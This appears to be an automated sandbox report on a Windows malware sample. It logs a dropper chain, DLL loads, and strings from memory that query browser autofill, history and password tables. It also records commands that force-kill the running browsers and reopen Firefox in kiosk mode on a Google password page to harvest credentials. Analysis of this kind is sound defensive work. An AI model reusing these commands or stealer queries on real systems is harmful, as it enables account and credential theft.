Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT name, value FROM autofillM;
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT url FROM moz_places LIMIT 1000a;
Source: file.exe, 00000000.00000003.1716877371.000000000522C000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460633885.000000000557C000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460144519.0000000005598000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe Virustotal: Detection: 51%
Source: CMI46CXL3718GGL9UBA.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: CMI46CXL3718GGL9UBA.exe String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: S39605Y99PQJP70DBWYAE5A.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe "C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe "C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe"
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {282e8f47-e3e9-4c30-8f9f-bbd3739b8c96} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295d4c69f10 socket
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process created: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe "C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe"
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process created: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe "C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4256 -parentBuildID 20230927232528 -prefsHandle 1524 -prefMapHandle 3964 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b04b7a86-ba51-4722-9e22-cfe6bd8623fe} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295e5656610 rdd
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2efdec49-002f-4730-b0e0-9b27dcd2796d} 3964 "\\.\pipe\gecko-crash-server-pipe.3964" 1b29bc70f10 socket
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe "C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe "C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process created: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe "C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process created: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe "C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {282e8f47-e3e9-4c30-8f9f-bbd3739b8c96} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295d4c69f10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4256 -parentBuildID 20230927232528 -prefsHandle 1524 -prefMapHandle 3964 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b04b7a86-ba51-4722-9e22-cfe6bd8623fe} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295e5656610 rdd
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2efdec49-002f-4730-b0e0-9b27dcd2796d} 3964 "\\.\pipe\gecko-crash-server-pipe.3964" 1b29bc70f10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
